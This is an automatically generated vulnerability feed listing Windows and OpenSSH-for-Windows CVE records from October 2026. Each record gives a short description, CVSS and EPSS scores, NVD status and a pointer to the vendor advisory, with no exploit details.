Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70172
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70172).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70172&date=2026-10-25).
Sources:
NVD CVE-2026-70172: https://nvd.nist.gov/vuln/detail/CVE-2026-70172
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70172&date=2026-10-25
Untrusted pointer dereference in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate...
https://kevwire.com/record/CVE-2026-70169
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70169).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70169&date=2026-10-25).
Sources:
NVD CVE-2026-70169: https://nvd.nist.gov/vuln/detail/CVE-2026-70169
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70169&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Connected Devices Platform Service allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70168
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70168).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70168&date=2026-10-25).
Sources:
NVD CVE-2026-70168: https://nvd.nist.gov/vuln/detail/CVE-2026-70168
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70168&date=2026-10-25
Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70164
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70164).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70164&date=2026-10-25).
Sources:
NVD CVE-2026-70164: https://nvd.nist.gov/vuln/detail/CVE-2026-70164
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70164&date=2026-10-25
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70163
Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70163).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70163&date=2026-10-25).
Sources:
NVD CVE-2026-70163: https://nvd.nist.gov/vuln/detail/CVE-2026-70163
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70163&date=2026-10-25
Allocation of resources without limits or throttling in OpenSSH for Windows allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
https://kevwire.com/record/CVE-2026-70158
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine (Oct 13, 2026).
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70158).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70158&date=2026-10-25).
Sources:
NVD CVE-2026-70158: https://nvd.nist.gov/vuln/detail/CVE-2026-70158
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70158&date=2026-10-25
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70157
Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70157).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70157&date=2026-10-25).
Sources:
NVD CVE-2026-70157: https://nvd.nist.gov/vuln/detail/CVE-2026-70157
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70157&date=2026-10-25
Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70156
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70156).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70156&date=2026-10-25).
Sources:
NVD CVE-2026-70156: https://nvd.nist.gov/vuln/detail/CVE-2026-70156
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70156&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70153
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70153).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70153&date=2026-10-25).
Sources:
NVD CVE-2026-70153: https://nvd.nist.gov/vuln/detail/CVE-2026-70153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70153&date=2026-10-25
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70151
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70151).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70151&date=2026-10-25).
Sources:
NVD CVE-2026-70151: https://nvd.nist.gov/vuln/detail/CVE-2026-70151
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70151&date=2026-10-25
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70150
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70150).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70150&date=2026-10-25).
Sources:
NVD CVE-2026-70150: https://nvd.nist.gov/vuln/detail/CVE-2026-70150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70150&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.
https://kevwire.com/record/CVE-2026-70149
Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally. (Oct 13, 2026).
Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70149).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70149&date=2026-10-25).
Sources:
NVD CVE-2026-70149: https://nvd.nist.gov/vuln/detail/CVE-2026-70149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70149&date=2026-10-25
Exposure of sensitive information to an unauthorized actor in Windows Client Side Caching driver (csc.sys) allows an authorized attacker to disclose information locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70147
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70147).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70147&date=2026-10-25).
Sources:
NVD CVE-2026-70147: https://nvd.nist.gov/vuln/detail/CVE-2026-70147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70147&date=2026-10-25
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-70143
Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70143).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70143&date=2026-10-25).
Sources:
NVD CVE-2026-70143: https://nvd.nist.gov/vuln/detail/CVE-2026-70143
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70143&date=2026-10-25
Heap-based buffer overflow in Windows Network File System allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70140
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70140).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70140&date=2026-10-25).
Sources:
NVD CVE-2026-70140: https://nvd.nist.gov/vuln/detail/CVE-2026-70140
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70140&date=2026-10-25
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70139
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70139).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70139&date=2026-10-25).
Sources:
NVD CVE-2026-70139: https://nvd.nist.gov/vuln/detail/CVE-2026-70139
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70139&date=2026-10-25
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70138
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70138).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70138&date=2026-10-25).
Sources:
NVD CVE-2026-70138: https://nvd.nist.gov/vuln/detail/CVE-2026-70138
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70138&date=2026-10-25
Heap-based buffer overflow in Windows OLE allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70136
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70136).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70136&date=2026-10-25).
Sources:
NVD CVE-2026-70136: https://nvd.nist.gov/vuln/detail/CVE-2026-70136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70136&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70134
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70134).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70134&date=2026-10-25).
Sources:
NVD CVE-2026-70134: https://nvd.nist.gov/vuln/detail/CVE-2026-70134
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70134&date=2026-10-25
Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70133
Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70133).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70133&date=2026-10-25).
Sources:
NVD CVE-2026-70133: https://nvd.nist.gov/vuln/detail/CVE-2026-70133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70133&date=2026-10-25
Allocation of resources without limits or throttling in Windows SMB Server allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70132
Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70132).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70132&date=2026-10-25).
Sources:
NVD CVE-2026-70132: https://nvd.nist.gov/vuln/detail/CVE-2026-70132
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70132&date=2026-10-25
Heap-based buffer overflow in Windows Portable Device File System Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70131
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70131).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70131&date=2026-10-25).
Sources:
NVD CVE-2026-70131: https://nvd.nist.gov/vuln/detail/CVE-2026-70131
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70131&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-70126
Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.
CVSS 7.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70126).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70126&date=2026-10-25).
Sources:
NVD CVE-2026-70126: https://nvd.nist.gov/vuln/detail/CVE-2026-70126
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70126&date=2026-10-25
Out-of-bounds read in Windows Bluetooth Port Driver allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70113
Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70113).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70113&date=2026-10-25).
Sources:
NVD CVE-2026-70113: https://nvd.nist.gov/vuln/detail/CVE-2026-70113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70113&date=2026-10-25
Integer overflow or wraparound in Windows Client for NFS allows an authorized attacker to elevate privileges locally.

